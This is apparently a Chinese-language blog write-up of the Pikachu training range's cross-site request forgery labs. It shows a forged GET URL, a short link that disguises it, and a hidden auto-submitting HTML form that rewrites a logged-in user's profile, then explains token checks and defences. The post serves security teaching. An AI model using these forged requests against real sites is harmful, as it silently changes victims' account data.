当前位置: 首页 > news >正文

Pikachu靶场——跨站请求伪造(CSRF)

文章目录

  • 1. 跨站请求伪造(CSRF)
    • 1.1 CSRF(get)
    • 1.2 CSRF(post)
    • 1.3 CSRF Token
    • 1.4 CSRF漏洞防御

1. 跨站请求伪造(CSRF)

还可以参考我的另一篇文章:跨站请求伪造(CSRF)

全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密码等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。

什么是CSRF?

CSRF,跨站域请求伪造,通常攻击者会伪造一个场景(例如一条链接),来诱使用户点击,用户一旦点击,黑客的攻击目的也就达到了,他可以盗用你的身份,以你的名义发送恶意请求。CSRF攻击的关键就是利用受害者的cookie向服务器发送伪造请求。

1.1 CSRF(get)

这里是一个登录界面,使用提示的用户名和密码进行登录

image-20230817202634396

发现是个人信息页面

image-20230817202724408

点击修改个人信息,点击提交

image-20230817202815885

所以这时候可以使用burpsuit进行抓包修改,在点击提交修改个人信息的时候,可以抓包,看到下面的内容。

image-20230817203208173

从上面的url可见,修改用户信息的时候,是不带任何不可预测的认证信息的。那么我们可以修改路径中的参数。

例如将电话好修改为一个新的参数。

127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=150666666668&add=%E5%8C%97%E4%BA%AC&email=2488%40qq.com&submit=submit

image-20230817204543665

但是这个路径太明显了,可以使用短路径的方法,来伪造我们的路径。

image-20230817204434743

https://s.r.sn.cn/vEARsG

如果被攻击者此时登录状态或cookie/session没有过期,如果用户登录了淘宝,在没有退出淘宝(或身份认证信息还未过期时)打开了新的(黑客设计好的修改淘宝登录密码的链接),就会把淘宝的密码改了。

1.2 CSRF(post)

登陆allen账号进行修改

image-20230817205148900

然后使用burpsuit进行抓包修改,在点击提交修改个人信息的时候,可以抓包,看到下面的内容

image-20230817205300480

发现采用的传递数据的方式是POST提交,同样知道本页面中有的标签以及name,方便后面构造表单时使用。

攻击者可以通过构造恶意站点,将POST请求隐藏在站点中的表单中,然后诱骗用户进行点击,当用户点击后触发表单,数据自然就POST到存在CSRF漏洞的网站,用户的信息则被恶意修改。

<html><script>                                                                                                       <!-- 这个script是用来自动提交表单的 -->window.onload = function() {document.getElementById("submit").click();}</script>              <body><form action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">    <input type="hidden" name="sex" value="girl" /><input type="hidden" name="phonenum" value="15088888888" /><input type="hidden" name="add" value="缅甸" /><input type="hidden" name="email" value="222488@qq.com" /><input type="hidden" name="submit" value="submit" /><input id="submit" type="submit" value="Submit request" style="display:none"/>                    <!-- style设置为display:none起到隐藏submit按钮的作用 --></form></body>
</html> 

image-20230817215704754

将写好的表单部署到攻击者的站点,这里因为是本机做演示,所以位置在WWW\pikachu\vur\scrf目录下。

image-20230817213536035

用户访问攻击者的站点127.0.0.1/pikachu/vul/csrf/CSRF.html并点击提交按钮,那么其个人信息将会被恶意修改,可以在控制台中看到点击按钮后触发的POST请求。

点击前

image-20230817215717853

点击后

image-20230817215732022

1.3 CSRF Token

token验证原理

CSRF的主要问题是敏感操作的链接容易被伪造,每次请求,都增加一个随机码(需要够随机,不容易伪造),后台每次对随机码进行验证。

网页接受从后台发过来的token,类型不可见。将其一并提交给后台进行验证。每次刷新,后台发送过来的token都不一样,起到了防止伪造的作用。

使用bp抓包查看,可以看到报文中包含token

image-20230819162127015

查看源代码,修改用户信息时,服务器会比较url中的token字段和session中的token字段,如果相同才能修改用户信息。并且在修改完用户信息之后,会用set_token()函数生成新的token,将其返回到html表单中并隐藏起来,以便下次用户修改信息时代入url。

image-20230819162741827

image-20230819163615005

set_token()函数在生成新token之前会先销毁老token,避免token重复使用。

image-20230819164654524

1.4 CSRF漏洞防御

  • 验证Referer字段
  • 添加Token验证
  • 二次验证:在关键操作之前,再输入密码或者验证码。
  • HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息。
  • SameSite:Cookie 属性,浏览器自带的安全机制。
http://www.lryc.cn/news/187506.html

相关文章:

  • 软件测试简历项目经验怎么写?大厂面试手拿把掐
  • 图像处理与计算机视觉--第七章-神经网络-单层感知器
  • pyserial,win11,串口总是被占用
  • 网站上线如何检查?
  • 如何理解pytorch中的“with torch.no_grad()”?
  • Linux虚拟机克隆之后使用ip addr无法获取ip地址
  • 日报系统:优化能源行业管理与决策的利器
  • linux安装idea
  • vue启动项目,npm run dev出现error:0308010C:digital envelope routines::unsupported
  • vue-devtools插件安装
  • const关键字
  • HTML5+CSS3+JS小实例:仿优酷视频轮播图
  • dart的Websocket为什么找不到onOpen方法?
  • VMware中Ubuntu(Linux)无法连接网络解决办法记录
  • js结合map对象等处理数组
  • 网络攻防实战演练
  • 基于Keil a51汇编 —— 标准宏定义
  • 遍历List集合
  • k8s containerd查看镜像
  • acwing.893. 集合-Nim游戏(博弈论sg函数模板)
  • 数据安全防护:云访问安全代理(CASB)
  • 面试准备-操作系统
  • 深度学习基础知识 Batch Normalization的用法解析
  • Centos7安装MongoDB7.xxNoSQL数据库|设置开机启动(骨灰级+保姆级)
  • JDK、JRE、JVM三者之间的关系
  • 【ppt技巧】批量修改ppt中的字体
  • RustDay01——运行在线GitHub Rust环境
  • 上门按摩小程序|同城上门按摩软件开发|上门按摩系统;
  • rpm安装mysql8后碰到的问题
  • Linux 磁盘管理+实例